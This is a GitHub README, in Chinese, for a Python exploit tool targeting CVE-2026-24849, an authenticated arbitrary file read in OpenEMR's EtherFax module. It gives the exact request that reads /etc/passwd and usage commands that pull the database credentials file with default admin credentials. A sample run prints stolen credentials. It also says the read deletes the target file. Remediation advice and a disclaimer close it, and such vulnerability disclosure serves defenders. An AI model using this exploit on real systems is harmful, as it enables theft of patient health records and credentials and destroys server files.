doany1/CVE-2026-24849
GitHub: doany1/CVE-2026-24849
针对 OpenEMR EtherFax 模块认证后路径穿越/任意文件读取漏洞(CVE-2026-24849)的 Python 概念验证利用工具。
Stars: 0 | Forks: 0
# CVE-2026-24849 OpenEMR 认证后任意文件读取 (EtherFax `disposeDoc`)
# 测试版本:OpenEMR 版本 = 7.0.2
**CVE-2026-24849** 的概念验证漏洞利用程序,该漏洞是 OpenEMR 的 Fax/SMS (EtherFax) 模块中存在的认证后路径穿越/任意文件读取漏洞。任何经过认证的用户(无论其权限级别如何)都能以 Web 服务器用户的身份读取服务器文件系统中的任意文件(数据库凭据、患者文档/PHI、`/etc/passwd` 等)。
| | |
|---|---|
| **CVE** | CVE-2026-24849 |
| **漏洞** | 路径穿越 / 任意文件读取 (CWE-22) |
| **组件** | `EtherFaxActions::disposeDoc()` `interface/modules/custom_modules/oe-module-faxsms` |
| **受影响版本** | OpenEMR `< 7.0.4` |
| **修复版本** | OpenEMR `7.0.4` |
| **认证要求** | 需要 *任意* 用户,无需特定权限 |
| **严重程度** | NVD 6.5 (中危) / GitHub CNA 9.9 (严重) |
| **测试环境** | OpenEMR 7.0.2,Ubuntu 22.04,PHP 8.1,Apache 2.4 |
## 漏洞详情
Fax/SMS 模块的 `disposeDoc()` 方法接收由调用方提供的 `file_path` 请求参数,确认文件存在后,直接将其传递给 `readfile()` —— **没有进行路径标准化处理,没有设置白名单,且除了检查是否持有有效的 session 外,没有任何授权检查**:
```
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
$where = $this->getRequest('file_path', null); // attacker-controlled, unvalidated
if (file_exists($where)) {
...
readfile($where); // arbitrary file read as the web-server user
unlink($where); // ⚠ deletes the file after reading (see warning below)
exit;
}
die('Problem with download. Use browser back button');
}
```
通过模块调度器即可访问该处理程序,只需在 `file_path` 中提供**绝对路径**即可(无需使用 `../` 进行路径穿越):
```
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
?site=default
&type=fax
&_ACTION_COMMAND=disposeDoc
&file_path=/etc/passwd
&action=download
```
## 影响
低权限(或默认)账户将直接成为一个完整的服务器端文件读取原语:
- **数据库凭据** —— `sites/default/sqlconf.php`
- **患者记录 / PHI** —— `sites//documents/` 下的任何内容,即使该目录在 `.htaccess` 中设置了 `Deny from all`(读取操作直接在磁盘上进行,绕过了 Apache)
- **系统文件** —— `/etc/passwd`、应用程序源码、可被 Web 用户读取的密钥/token
## 前置条件
- 有效的 OpenEMR 凭据(任何权限级别均可 —— 通常默认的 `admin:pass` 即可生效)。
- **启用 Fax/SMS 模块**,并选择 **EtherFax** 作为传真提供商。无需真实的 EtherFax 账户/凭据 —— 文件读取发生在任何外部 API 调用之前。
## 环境要求
- Python 3.6+
- [`requests`](https://pypi.org/project/requests/)
```
pip3 install requests
```
## 安装说明
```
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py
```
## 用法
直接运行(不带参数),它会**提示您输入所有必需的信息**:
```
python3 CVE-2026-24849.py
```
或者使用参数进行非交互式运行:
```
# 读取单个文件
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd
# 获取 DB 凭据并保存到文件
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
-f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php
```
### 选项
| 参数 | 描述 | 默认值 |
|---|---|---|
| `-t`, `--target` | 基础 URL,例如 `http://10.10.10.10` | *提示输入* |
| `-u`, `--user` | OpenEMR 用户名 | `admin` |
| `-P`, `--password` | OpenEMR 密码 | *提示输入(隐藏)* |
| `-s`, `--site` | OpenEMR 站点 ID | `default` |
| `-f`, `--file` | 要读取的远程文件的绝对路径 | *如果省略则进入交互式循环* |
| `-o`, `--output` | 将获取的文件保存在本地而不是直接打印输出 | |
如果省略 `-f` 参数,该工具将进入**交互式读取循环**,以便您从一个会话中提取多个文件。
### 示例
```
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)
Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.
[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login = 'openemr';
$pass = 'openemr123';
$dbase = 'openemr';
[+] --------------------------
```
### 工作原理
1. 使用 `requests` 登录,并将 session 保留在其自己的 cookie jar 中(避免了浏览器 session-ID 轮换导致复制的 cookie 失效)。
2. 通过读取一个安全的、root 拥有的探测文件来确认访问权限 —— 从而清晰地区分*凭据错误*、*模块未启用*或*成功*。
3. 发送 `disposeDoc` 读取请求,自动尝试 `disposeDoc` 和 `disposeDocument`(方法名称在不同的受影响次要版本中有所不同)。
## 修复建议
- **升级到 OpenEMR 7.0.4 或更高版本。** 该修复对路径进行了标准化处理,将其限制在允许的目录内,并添加了真实的授权检查。
- 更改默认凭据并强制在首次登录时重置密码。
- 将密钥和患者文档保存在 **webroot 之外**;不要仅将 `.htaccess` 作为唯一的控制手段。
## 免责声明
本工具仅供**授权的安全测试和教育目的**使用。请仅对您拥有或已获得明确书面许可进行测试的系统使用此工具。作者对任何滥用行为或本软件造成的任何损害概不负责。请注意上文所述的具有破坏性的 `unlink()` 行为。
## 参考
- GitHub 安全公告: https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-24849
- 厂商: https://www.open-emr.org/
## 作者
`doany1`
## 许可证
MIT —— 见 [`LICENSE`](LICENSE)。
标签:PoC, Web安全, 任意文件读取, 医疗信息系统, 暴力破解, 网络安全审计, 蓝队分析, 路径遍历, 逆向工具